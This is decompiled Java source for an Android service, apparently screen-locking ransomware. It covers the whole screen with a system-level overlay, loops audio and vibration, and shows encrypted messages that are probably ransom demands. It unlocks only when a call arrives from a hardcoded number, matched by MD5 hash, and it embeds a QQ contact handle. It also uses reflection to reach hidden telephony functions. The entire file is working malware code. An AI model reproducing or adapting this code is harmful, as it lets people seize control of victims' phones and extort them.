package
com.cjk;
import
android.app.Application;
import
android.app.Service;
import
android.content.BroadcastReceiver;
import
android.content.Context;
import
android.content.Intent;
import
android.content.IntentFilter;
import
android.content.SharedPreferences$Editor;
import
android.content.SharedPreferences;
import
android.media.AudioManager;
import
android.media.MediaPlayer;
import
android.os.IBinder;
import
android.util.Log;
import
android.view.LayoutInflater;
import
android.view.View;
import
android.view.WindowManager$LayoutParams;
import
android.view.WindowManager;
import
android.widget.TextView;
import
com.android.internal.telephony.ITelephony;
import
java.lang.reflect.Method;
public
class
LockService
extends
Service {
class
IncomingCallReceiver
extends
BroadcastReceiver {
private
final
LockService LockService_this;
public
IncomingCallReceiver(LockService arg6) {
super
();
LockService.
this
= arg6;
}
static
LockService access$
0
(IncomingCallReceiver arg4) {
return
arg4.LockService_this;
}
@Override
public
void
onReceive(Context arg14, Intent p_intent) {
IncomingCallReceiver IncomingCallReceiver_1 =
this
;
Intent intent = p_intent;
String intent_Action = intent.getAction();
Log.d(LockService.TAG,
new
StringBuffer().append(
"action:"
).append(intent_Action).toString());
if
(
"android.intent.action.PHONE_STATE"
.equals(intent_Action)) {
Log.i(LockService.TAG,
new
StringBuffer().append(
"State: "
).append(intent.getStringExtra(
"state"
)).toString());
String incoming_number = intent.getStringExtra(
"incoming_number"
);
Log.d(LockService.TAG,
new
StringBuffer().append(
"Incomng Number: "
).append(incoming_number).toString());
String incoming_number_MD5 = MD5Util.getMD5String(incoming_number);
IncomingCallReceiver IncomingCallReceiver_2 = IncomingCallReceiver_1;
try
{
if
(IncomingCallReceiver_2.LockService_this.eq.equals(incoming_number_MD5)) {
IncomingCallReceiver_1.LockService_this.mAudioManager.setRingerMode(
0
);
IncomingCallReceiver_1.LockService_this.iTelephony.endCall();
IncomingCallReceiver_1.LockService_this.mAudioManager.setRingerMode(
2
);
IncomingCallReceiver_1.LockService_this.mWindowManager.removeView(IncomingCallReceiver_1.LockService_this.mFloatLayout);
IncomingCallReceiver_1.LockService_this.stopSelf();
return
;
}
IncomingCallReceiver_1.abortBroadcast();
}
catch
(Exception v9_1) {
}
}
}
}
private
static
final
String TAG;
TextView bah;
TextView cjk;
DU des;
SharedPreferences$Editor editor;
private
String eq;
private
ITelephony iTelephony;
private
AudioManager mAudioManager;
private
View mFloatLayout;
private
IncomingCallReceiver mReceiver;
private
WindowManager mWindowManager;
SharedPreferences share;
TextView tv;
TextView wb;
private
WindowManager$LayoutParams wmParams;
static
final
{
Class v2_1;
try
{
v2_1 = Class.forName(
"com.cjk.s"
);
}
catch
(ClassNotFoundException v2) {
throw
new
NoClassDefFoundError(v2.getMessage());
}
LockService.TAG = v2_1.getSimpleName();
}
public
LockService() {
super
();
this
.eq =
"73074846EE1EC1706921E73E065BA4B7"
;
}
static
String access$L1000000() {
return
LockService.TAG;
}
static
ITelephony access$L1000002(LockService arg4) {
return
arg4.iTelephony;
}
static
AudioManager access$L1000003(LockService arg4) {
return
arg4.mAudioManager;
}
static
String access$L1000004(LockService arg4) {
return
arg4.eq;
}
static
WindowManager access$L1000006(LockService arg4) {
return
arg4.mWindowManager;
}
static
View access$L1000007(LockService arg4) {
return
arg4.mFloatLayout;
}
static
void
access$S1000000(String arg4) {
LockService.TAG = arg4;
}
static
void
access$S1000002(LockService arg6, ITelephony arg7) {
arg6.iTelephony = arg7;
}
static
void
access$S1000003(LockService arg6, AudioManager arg7) {
arg6.mAudioManager = arg7;
}
static
void
access$S1000004(LockService arg6, String arg7) {
arg6.eq = arg7;
}
static
void
access$S1000006(LockService arg6, WindowManager arg7) {
arg6.mWindowManager = arg7;
}
static
void
access$S1000007(LockService arg6, View arg7) {
arg6.mFloatLayout = arg7;
}
private
void
c() {
LockService LockService_this =
this
;
LockService_this.wmParams =
new
WindowManager$LayoutParams();
Application v13 = LockService_this.getApplication();
LockService_this.getApplication();
LockService_this.mWindowManager = v13.getSystemService(Context.WINDOW_SERVICE);
LockService_this.wmParams.type =
2010
;
LockService_this.wmParams.format =
1
;
LockService_this.wmParams.flags =
1280
;
LockService_this.wmParams.gravity =
49
;
LockService_this.wmParams.x =
0
;
LockService_this.wmParams.y =
0
;
LockService_this.wmParams.width = -
1
;
LockService_this.wmParams.height = -
1
;
LockService_this.mFloatLayout = LayoutInflater.from(LockService_this.getApplication()).inflate(
2130903041
,
null
);
MediaPlayer v2 = MediaPlayer.create(LockService_this,
2131099648
);
v2.setLooping(
true
);
v2.start();
LockService_this.mWindowManager.addView(LockService_this.mFloatLayout, LockService_this.wmParams);
LockService_this.wb = LockService_this.mFloatLayout.findViewById(
2131361792
);
LockService_this.bah = LockService_this.mFloatLayout.findViewById(
2131361793
);
LockService_this.cjk = LockService_this.mFloatLayout.findViewById(
2131361794
);
LockService_this.tv = LockService_this.mFloatLayout.findViewById(
2131361795
);
try
{
String v7 = MD5Util.getbah(
"626fcaf7df9278dl0aff3aaca07a5b8c88fd66ld54f277cc01852adc05565ff96a5cfa22la1bf9c9fal934132b8a4d212ba05bad14ad34cb812d751d0l47c41df95c0fffa333772bcd5980b13l5699c8fd0587cl8f493c4d5b8156d4d24c04bfd4ld01fb59l3c6a80f979303ab9a93f3"
);
String v8 = MD5Util.getbah(
"69ll219a612f396f774a98a5a865c657lad9311608360b26d05l1c6151b5ll326953986a53ldd92dafd2clff8b6707cllb75bdd4821b3lb747f256bb22606f8854ba778ball012cbc74942d396570l79cf9065d0cb39c948"
);
String v9 = MD5Util.getbah(
"e02a4da7da50c33b7e67eb7e99b80205f3e73ae8eaeedcfb713408294d9ec3e7"
);
String v10 = MD5Util.getbah(
"8ddba52bda232d3b5a9012bd7b30f7579d4e9a986936f16a1667579f5ec4552483e89d01c3a7e130"
);
LockService_this.wb.append(LockService_this.des.decrypt(v7));
LockService_this.bah.append(LockService_this.des.decrypt(v8));
LockService_this.cjk.append(LockService_this.des.decrypt(v9));
LockService_this.tv.append(LockService_this.des.decrypt(v10));
}
catch
(Exception v12) {
}
}
public
boolean
is(Context arg5) {
return
0
;
}
@Override
public
IBinder onBind(Intent arg5) {
return
null
;
}
@Override
public
void
onCreate() {
Class v6_2;
LockService LockService_this =
this
;
super
.onCreate();
LockService_this.mReceiver =
new
IncomingCallReceiver(LockService_this);
IntentFilter v1 =
new
IntentFilter();
v1.addAction(
"android.intent.action.PHONE_STATE"
);
v1.addAction(
"android.provider.Telephony.SMS_RECEIVED"
);
LockService_this.registerReceiver(LockService_this.mReceiver, v1);
LockService_this.mAudioManager = LockService_this.getSystemService(
"audio"
);
Object v2 = LockService_this.getSystemService(
"phone"
);
try
{
v6_2 = Class.forName(
"android.telephony.TelephonyManager"
);
goto
label_43;
}
catch
(Exception v6) {
}
catch
(ClassNotFoundException v6_1) {
ClassNotFoundException v4 = v6_1;
try
{
throw
new
NoClassDefFoundError(v4.getMessage());
label_43:
Method v3 = v6_2.getDeclaredMethod(
"getITelephony"
,
null
);
v3.setAccessible(
true
);
LockService_this.iTelephony = v3.invoke(v2,
null
);
}
catch
(Exception v6) {
}
}
LockService_this.des =
new
DU(
"bah.java"
);
LockService v6_3 = LockService_this;
try
{
v6_3.des =
new
DU(LockService_this.des.decrypt(
"8e6762e8737463a957dc390bff4eb8e8"
));
}
catch
(Exception v6) {
}
LockService_this.share = LockService_this.getSharedPreferences(
"by:洛天依QQ1873651303么么踹"
,
0
);
LockService_this.editor = LockService_this.share.edit();
LockService_this.getApplication().getSystemService(
"vibrator"
).vibrate(
new
long
[]{((
long
)
100
), ((
long
)
1500
), ((
long
)
100
), ((
long
)
1500
)},
0
);
}
@Override
public
void
onDestroy() {
super
.onDestroy();
this
.unregisterReceiver(
this
.mReceiver);
}
public
void
onStart(Intent arg8,
int
arg9) {
super
.onStart(arg8, arg9);
this
.c();
}
}